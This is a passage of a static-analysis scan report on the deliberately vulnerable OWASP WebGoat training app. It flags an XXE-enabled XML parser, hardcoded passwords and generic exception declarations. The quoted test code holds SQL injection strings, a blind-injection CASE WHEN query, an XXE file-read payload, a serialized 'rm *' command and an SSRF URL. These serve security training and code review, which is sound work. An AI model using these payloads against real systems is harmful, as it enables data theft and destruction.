UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.</Content>","title":"<Content><Paragraph>XML parser configured in <Replace key=\"PrimaryLocation.file\"/>:<Replace key=\"PrimaryLocation.line\"/> does not prevent nor limit external entities resolution. This can expose the parser to an XML External Entities attack<AltParagraph>Using XML parsers configured to not prevent nor limit external entities resolution can expose the parser to an XML External Entities attack</AltParagraph>.</Paragraph></Content>","impact":0.8,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\nStartLine: 84, EndLine: 90\nCode:\nprotected Comment parseXml(String xml) throws Exception {\n        JAXBContext jc = JAXBContext.newInstance(Comment.class);\n\n        XMLInputFactory xif = XMLInputFactory.newFactory();\n        xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);\n        xif.setProperty(XMLInputFactory.IS_VALIDATING, false);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\nStartLine: 85, EndLine: 91\nCode:\nJAXBContext jc = JAXBContext.newInstance(Comment.class);\n\n        XMLInputFactory xif = XMLInputFactory.newFactory();\n        xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);\n        xif.setProperty(XMLInputFactory.IS_VALIDATING, false);\n\n        xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-10","Rev_4"]}},{"id":"C5FBCC67-8AAF-4ED2-B91E-E47B3FDDC0AE","desc":"<Content>It is never a good idea to hardcode a password. Not only does hardcoding a password allow all of the project's developers to view the password, it also makes fixing the problem extremely difficult. After the code is in production, the password cannot be changed without patching the software. If the account protected by the password is compromised, the owners of the system must choose between security and availability.\n<Paragraph>\nIn this case, a hardcoded password was found in the call to <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b> The following code uses a hardcoded password to connect to a database:\n\n<pre>\n...\nDriverManager.getConnection(url, \"scott\", \"tiger\");\n...\n</pre>\n\nThis code will run successfully, but anyone who has access to it will have access to the password. After the program ships, there is likely no way to change the database user \"scott\" with a password of \"tiger\" unless the program is patched. An employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for the application they can use the <code>javap -c</code> command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for <code>Example 1</code>:\n\n<pre>\njavap -c ConnMngr.class\n\n22: ldc   #36; //String jdbc:mysql://ixne.com/rxsql\n24: ldc   #38; //String scott\n26: ldc   #17; //String tiger\n</pre>\n\nIn the mobile environment, password management is especially important given that there is such a high chance of device loss.\n<b>Example 2:</b> The following code uses hardcoded username and password to setup authentication for viewing protected pages with Android's WebView.\n<pre>\n...\nwebview.setWebViewClient(new WebViewClient() {\n  public void onReceivedHttpAuthRequest(WebView view,\n        HttpAuthHandler handler, String host, String realm) {\n    handler.proceed(\"guest\", \"allow\");\n  }\n});\n...\n</pre>\n\nSimilar to <code>Example 1</code>, this code will run successfully, but anyone who has access to it will have access to the password.</Content>","title":"<Content>Hardcoded passwords may compromise system security in a way that cannot be easily remedied.</Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignment.java\nStartLine: 63, EndLine: 69\nCode:\npublic AttackResult login(@RequestParam String password, @RequestParam String email) {\n        if (TOM_EMAIL.equals(email)) {\n            String passwordTom = usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9);\n            if (passwordTom.equals(PASSWORD_TOM_9)) {\n                return trackProgress(failed().feedback(\"login_failed\").build());\n            } else if (passwordTom.equals(password)) {\n                return trackProgress(success().build());","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-28","Rev_4"]}},{"id":"572EA1F6-FC86-443E-B1A9-A227D5AD17CC","desc":"<Content>Declaring a method to throw <code>Exception</code> or <code>Throwable</code> makes it difficult for callers to do good error handling and error recovery. Java's exception mechanism is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.\n\n<b>Example:</b> The following method throws three types of exceptions.\n\n<pre>\npublic void doExchange()\n  throws IOException, InvocationTargetException,\n         SQLException {\n  ...\n}\n\n</pre>\n\nWhile it might seem tidier to write\n\n<pre>\npublic void doExchange()\n  throws Exception {\n  ...\n}\n</pre>\n\ndoing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of <code>doExchange()</code> introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.</Content>","title":"<Content><Paragraph>The method <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> throws a generic exception making it harder for callers to do a good job of error handling and recovery.<AltParagraph>The method throws a generic exception making it harder for callers to do a good job of error handling and recovery.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/client_side_filtering/ClientSideFilteringFreeAssignmentTest.java\nStartLine: 39, EndLine: 48\nCode:\n}\n\n    @Test\n    public void wrongCouponCode() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/clientSideFiltering/getItForFree\")\n                .param(\"checkoutCode\", \"test\"))\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.not.solved\"))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java\nStartLine: 47, EndLine: 58\nCode:\n}\n    \n    @Test\n    public void fail() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/InsecureDeserialization/task\")\n                .header(\"x-request-intercepted\", \"true\")\n                .param(\"token\", SerializationHelper.toString(new VulnerableTaskHolder(\"delete\", \"rm *\"))))\n        \t\t.andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }\n    \n    @Test\n    public void wrongVersion() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cia/src/test/java/org/owasp/webgoat/cia/CIAQuizTest.java\nStartLine: 160, EndLine: 184\nCode:\n}\n\n    @Test\n    public void secondAnswerFalseGetResultsReturnsTrueFalseTrueTrue() throws Exception {\n        String[] solution0 = {\"Solution 3\"};\n        String[] solution1 = {\"Solution 2\"};\n        String[] solution2 = {\"Solution 4\"};\n        String[] solution3 = {\"Solution 2\"};\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/cia/quiz\")\n                .param(\"question_0_solution\", solution0)\n                .param(\"question_1_solution\", solution1)\n                .param(\"question_2_solution\", solution2)\n                .param(\"question_3_solution\", solution3));\n\n        MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get(\"/cia/quiz\"))\n                .andExpect(status().isOk())\n                .andReturn();\n\n        String responseString = result.getResponse().getContentAsString();\n        assertThat(responseString).isEqualTo(\"[ true, false, true, true ]\");\n    }\n\n    @Test\n    public void allAnswersFalseGetResultsReturnsFalseFalseFalseFalse() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/csrf/CSRFFeedbackTest.java\nStartLine: 57, EndLine: 68\nCode:\n}\n\n    @Test\n    public void postingJsonMessageThroughWebGoatShouldWork() throws Exception {\n        mockMvc.perform(post(\"/csrf/feedback/message\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .content(\"{\\\"name\\\": \\\"Test\\\", \\\"email\\\": \\\"test1233@dfssdf.de\\\", \\\"subject\\\": \\\"service\\\", \\\"message\\\":\\\"dsaffd\\\"}\"))\n                .andExpect(status().isOk());\n    }\n\n\n    @Test","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson6bTest.java\nStartLine: 45, EndLine: 56\nCode:\npublic class SqlInjectionLesson6bTest extends SqlLessonTest {\n\n    @Test\n    public void submitCorrectPassword() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjectionAdvanced/attack6b\")\n                .param(\"userid_6b\", \"passW0rD\"))\n\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void submitWrongPassword() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cia/src/test/java/org/owasp/webgoat/cia/CIAQuizTest.java\nStartLine: 181, EndLine: 204\nCode:\n}\n\n    @Test\n    public void allAnswersFalseGetResultsReturnsFalseFalseFalseFalse() throws Exception {\n        String[] solution0 = {\"Solution 1\"};\n        String[] solution1 = {\"Solution 2\"};\n        String[] solution2 = {\"Solution 1\"};\n        String[] solution3 = {\"Solution 1\"};\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/cia/quiz\")\n                .param(\"question_0_solution\", solution0)\n                .param(\"question_1_solution\", solution1)\n                .param(\"question_2_solution\", solution2)\n                .param(\"question_3_solution\", solution3));\n\n        MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get(\"/cia/quiz\"))\n                .andExpect(status().isOk())\n                .andReturn();\n\n        String responseString = result.getResponse().getContentAsString();\n        assertThat(responseString).isEqualTo(\"[ false, false, false, false ]\");\n    }\n\n} // end class","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8Test.java\nStartLine: 84, EndLine: 99\nCode:\n}\n\n    @Test\n    public void wrongTANReturnsNoAccounts() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack8\")\n                .param(\"name\", \"Smithh\")\n                .param(\"auth_tan\", \"\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n                .andExpect(jsonPath(\"$.feedback\", is(modifySpan(messages.getMessage(\"sql-injection.8.no.results\")))))\n                .andExpect(jsonPath(\"$.output\").doesNotExist());\n    }\n\n    @Test\n    public void malformedQueryReturnsError() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/test/java/org/owasp/webgoat/password_reset/SecurityQuestionAssignmentTest.java\nStartLine: 39, EndLine: 58\nCode:\n}\n\n    @Test\n    public void twoQuestionsShouldSolveTheAssignment() throws Exception {\n        MockHttpSession mocksession = new MockHttpSession();\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/PasswordReset/SecurityQuestions\")\n                .param(\"question\", \"What is your favorite animal?\").session(mocksession))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/PasswordReset/SecurityQuestions\")\n                .param(\"question\", \"In what year was your mother born?\").session(mocksession))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"assignment.solved\"))))\n                .andExpect(jsonPath(\"$.output\", CoreMatchers.notNullValue()))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(true)));\n    }\n\n    @Test\n    public void answeringSameQuestionTwiceShouldNotSolveAssignment() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTRefreshEndpointTest.java\nStartLine: 147, EndLine: 163\nCode:\n}\n\n    @Test\n    public void loginShouldNotWorkForTom() throws Exception {\n        ObjectMapper objectMapper = new ObjectMapper();\n\n        Map<String, Object> loginJson = Maps.newHashMap();\n        loginJson.put(\"user\", \"Tom\");\n        loginJson.put(\"password\", PASSWORD);\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/login\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .content(objectMapper.writeValueAsString(loginJson)))\n                .andExpect(status().isUnauthorized());\n    }\n\n    @Test\n    public void newTokenShouldWorkForJerry() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/vulnerable-components/src/test/java/org/owasp/webgoat/vulnerable_components/VulnerableComponentsLessonTest.java\nStartLine: 49, EndLine: 58\nCode:\n}\n\n    @Test\n    public void success() throws Exception {\n//        mockMvc.perform(MockMvcRequestBuilders.post(\"/VulnerableComponents/attack1\").content(\"Test\"))\n//                .andExpect(status().isOk())\n//                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"http-proxies.intercept.success\"))))\n//                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(true)));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/test/java/org/owasp/webgoat/ssrf/SSRFTest2.java\nStartLine: 61, EndLine: 69\nCode:\n}\n\n    @Test\n    public void modifyUrlCat() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SSRF/task2\")\n                .param(\"url\", \"images/cat.jpg\"))\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/ContentTypeAssignmentTest.java\nStartLine: 59, EndLine: 71\nCode:\n}\n\n    @Test\n    public void sendingXmlButContentTypeIsJson() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/content-type\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .content(\"<?xml version=\\\"1.0\\\" standalone=\\\"yes\\\" ?><!DOCTYPE user [<!ENTITY root SYSTEM \\\"file:///\\\"> ]><comment><text>&root;</text></comment>\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"xxe.content.type.feedback.json\"))));\n    }\n\n    @Test\n    public void workingAttack() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/WebSecurityConfig.java\nStartLine: 78, EndLine: 86\nCode:\n@Override\n    @Bean\n    protected AuthenticationManager authenticationManager() throws Exception {\n        return super.authenticationManager();\n    }\n\n    @Bean\n    public NoOpPasswordEncoder passwordEncoder() {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9Test.java\nStartLine: 124, EndLine: 152\nCode:\n}\n\n    @Test\n    public void wrongTANReturnsNoAccounts() throws Exception {\n        try {\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack9\")\n                    .param(\"name\", \"Smithh\")\n                    .param(\"auth_tan\", \"\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.8.no.results\")))))\n                    .andExpect(jsonPath(\"$.output\").doesNotExist());\n        } catch (AssertionError e) {\n            if (!e.getMessage().contains(completedError)) throw e;\n\n            mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack9\")\n                    .param(\"name\", \"Smithh\")\n                    .param(\"auth_tan\", \"\"))\n\n                    .andExpect(status().isOk())\n                    .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                    .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.9.success\")))))\n                    .andExpect(jsonPath(\"$.output\").doesNotExist());\n        }\n    }\n\n    @Test\n    public void malformedQueryReturnsError() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/xss/StoredXssCommentsTest.java\nStartLine: 79, EndLine: 90\nCode:\n//Ensures it is vulnerable\n    @Test\n    public void isNotEncoded() throws Exception {\n        //do get to get comments after posting xss payload\n        ResultActions taintedResults = mockMvc.perform(MockMvcRequestBuilders.get(\"/CrossSiteScriptingStored/stored-xss\"));\n        MvcResult mvcResult = taintedResults.andReturn();\n        assert(mvcResult.getResponse().getContentAsString().contains(\"<script>console.warn\"));\n    }\n\n    //Could be used to test an encoding solution ... commented out so build will pass. Uncommenting will fail build, but leaving in as positive Security Unit Test\n//    @Test","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8Test.java\nStartLine: 60, EndLine: 75\nCode:\n}\n\n    @Test\n    public void multipleAccounts() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack8\")\n                .param(\"name\", \"Smith\")\n                .param(\"auth_tan\", \"3SL99A' OR '1' = '1\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(true)))\n                .andExpect(jsonPath(\"$.feedback\", is(modifySpan(messages.getMessage(\"sql-injection.8.success\")))))\n                .andExpect(jsonPath(\"$.output\", containsString(\"<tr><td>96134<\\\\/td><td>Bob<\\\\/td><td>Franco<\\\\/td><td>Marketing<\\\\/td><td>83700<\\\\/td><td>LO9S2V<\\\\/td><\\\\/tr>\")));\n    }\n\n    @Test\n    public void wrongNameReturnsNoAccounts() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 115, EndLine: 133\nCode:\n}\n\n    @Test\n    public void tomShouldSeeNumberOfVotes() throws Exception {\n        MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings/login\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .param(\"user\", \"Tom\"))\n                .andExpect(status().isOk()).andReturn();\n\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings\")\n                .cookie(result.getResponse().getCookies()[0]))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].numberOfVotes\").exists())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").exists())\n                .andExpect(jsonPath(\"$[0].average\").exists());\n    }\n\n    @Test\n    public void invalidTokenShouldSeeGuestView() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/session/LabelDebuggerTest.java\nStartLine: 15, EndLine: 25\nCode:\n}\n\n    @Test\n    public void testSetEnabledFalse() throws Exception {\n        LabelDebugger ld = new LabelDebugger();\n        ld.setEnabled(false);\n        assertFalse(ld.isEnabled());\n    }\n\n    @Test\n    public void testSetEnabledNullThrowsException() {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/bypass-restrictions/src/test/java/org/owasp/webgoat/bypass_restrictions/BypassRestrictionsFrontendValidationTest.java\nStartLine: 31, EndLine: 48\nCode:\n}\n\n    @Test\n    public void noChangesShouldNotPassTheLesson() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/BypassRestrictions/frontendValidation\")\n                .param(\"field1\", \"abc\")\n                .param(\"field2\", \"123\")\n                .param(\"field3\", \"abc ABC 123\")\n                .param(\"field4\", \"seven\")\n                .param(\"field5\", \"01101\")\n                .param(\"field6\", \"90201 1111\")\n                .param(\"field7\", \"301-604-4882\")\n                .param(\"error\", \"2\"))\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }\n\n    @Test\n    public void bypassAllFieldShouldPass() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5aTest.java\nStartLine: 44, EndLine: 62\nCode:\n@Ignore\n  @Test\n  public void unknownAccount() throws Exception {\n    LinkedMultiValueMap<String, String> map = new LinkedMultiValueMap<>();\n    map.add(\"account\", \"Smith\");\n    map.add(\"operator\", \"\");\n    map.add(\"injection\", \"\");\n    mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/assignment5a\")\n            .params(map))\n\n            .andExpect(status().isOk())\n            .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n            .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"NoResultsMatched\")))))\n            .andExpect(jsonPath(\"$.output\").doesNotExist());\n  }\n\n  @Test\n  public void sqlInjection() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5aTest.java\nStartLine: 74, EndLine: 91\nCode:\n}\n\n  @Test\n  public void sqlInjectionWrongShouldDisplayError() throws Exception {\n    LinkedMultiValueMap<String, String> map = new LinkedMultiValueMap<>();\n    map.add(\"account\", \"Smith'\");\n    map.add(\"operator\", \"OR\");\n    map.add(\"injection\", \"'1' = '1'\");\n    mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/assignment5a\")\n            .params(map))\n\n            .andExpect(status().isOk())\n            .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n            .andExpect(jsonPath(\"$.feedback\", containsString(messages.getMessage(\"assignment.not.solved\"))))\n            .andExpect(jsonPath(\"$.output\", is(\"malformed string: '1''<br> Your query was: SELECT * FROM user_data WHERE\" +\n                    \" first_name = 'John' and last_name = 'Smith' OR '1' = '1''\")));\n  }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/service/LessonMenuServiceTest.java\nStartLine: 68, EndLine: 89\nCode:\n}\n\n    @Test\n    public void lessonsShouldBeOrdered() throws Exception {\n        Lesson l1 = Mockito.mock(Lesson.class);\n        Lesson l2 = Mockito.mock(Lesson.class);\n        when(l1.getTitle()).thenReturn(\"ZA\");\n        when(l2.getTitle()).thenReturn(\"AA\");\n        when(lessonTracker.isLessonSolved()).thenReturn(false);\n        when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));\n        when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));\n        when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);\n        when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);\n\n        mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].children[0].name\", CoreMatchers.is(\"AA\")))\n                .andExpect(jsonPath(\"$[0].children[1].name\", CoreMatchers.is(\"ZA\")));\n    }\n\n    @Test\n    public void lessonCompleted() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson6aTest.java\nStartLine: 83, EndLine: 96\nCode:\n}\n\n    @Test\n    public void noResultsReturned() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjectionAdvanced/attack6a\")\n                .param(\"userid_6a\", \"Smith' and 1 = 2 --\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(false)))\n                .andExpect(jsonPath(\"$.feedback\", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage(\"sql-injection.6a.no.results\")))));\n    }\n\n    @Test\n    public void noUnionUsed() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/ContentTypeAssignmentTest.java\nStartLine: 87, EndLine: 99\nCode:\n}\n\n    @Test\n    public void postingInvalidJsonShouldAddComment() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/content-type\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .content(\"{  'text' : 'Wrong'\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"xxe.content.type.feedback.json\"))));\n        assertThat(comments.getComments().stream().filter(c -> c.getText().equals(\"Wrong\")).count()).isEqualTo(0);\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cia/src/test/java/org/owasp/webgoat/cia/CIAQuizTest.java\nStartLine: 101, EndLine: 121\nCode:\n}\n\n    @Test\n    public void allAnswersWrongIsFailure() throws Exception {\n        String[] solution0 = {\"Solution 2\"};\n        String[] solution1 = {\"Solution 1\"};\n        String[] solution2 = {\"Solution 3\"};\n        String[] solution3 = {\"Solution 1\"};\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/cia/quiz\")\n                .param(\"question_0_solution\", solution0)\n                .param(\"question_1_solution\", solution1)\n                .param(\"question_2_solution\", solution2)\n                .param(\"question_3_solution\", solution3))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(false)));\n    }\n\n    @Test\n    public void allAnswersCorrectGetResultsReturnsTrueTrueTrueTrue() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxControllerTest.java\nStartLine: 85, EndLine: 106\nCode:\n@Test\n    @WithMockUser(username = \"test1234\")\n    public void userShouldBeAbleToReadOwnEmail() throws Exception {\n        Email email = Email.builder()\n                .contents(\"This is a test mail\")\n                .recipient(\"test1234@webgoat.org\")\n                .sender(\"hacker@webgoat.org\")\n                .title(\"Click this mail\")\n                .time(LocalDateTime.now())\n                .build();\n        Mockito.when(mailbox.findByRecipientOrderByTimeDesc(\"test1234\")).thenReturn(Lists.newArrayList(email));\n\n        this.mvc.perform(get(\"/WebWolf/mail\"))\n                .andExpect(status().isOk())\n                .andExpect(view().name(\"mailbox\"))\n                .andExpect(content().string(containsString(\"Click this mail\")))\n                .andExpect(content().string(containsString(DateTimeFormatter.ofPattern(\"h:mm a\").format(email.getTimestamp()))));\n    }\n\n    @Test\n    @WithMockUser(username = \"test1233\")","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12aTest.java\nStartLine: 85, EndLine: 96\nCode:\n}\n\n    @Test\n    public void addressIncorrectShouldOrderByHostname() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/SqlInjectionMitigations/servers\")\n                .param(\"column\", \"CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END\"))\n\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$[0].hostname\", is(\"webgoat-dev\")));\n    }\n\n    @Test\n    public void postingCorrectAnswerShouldPassTheLesson() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/test/java/org/owasp/webgoat/ssrf/SSRFTest2.java\nStartLine: 54, EndLine: 64\nCode:\n}\n\n    @Test\n    public void modifyUrlIfconfigPro() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SSRF/task2\")\n                .param(\"url\", \"http://ifconfig.pro\"))\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void modifyUrlCat() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8Test.java\nStartLine: 96, EndLine: 111\nCode:\n}\n\n    @Test\n    public void malformedQueryReturnsError() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack8\")\n                .param(\"name\", \"Smith\")\n                .param(\"auth_tan\", \"3SL99A' OR '1' = '1'\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n                .andExpect(jsonPath(\"$.feedback\", is(modifySpan(messages.getMessage(\"sql-injection.error\")))))\n                .andExpect(jsonPath(\"$.output\", containsString(\"feedback-negative\")));\n    }\n\n    public static String modifySpan(String message) {\n        return message.replace(\"</span>\", \"<\\\\/span>\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: 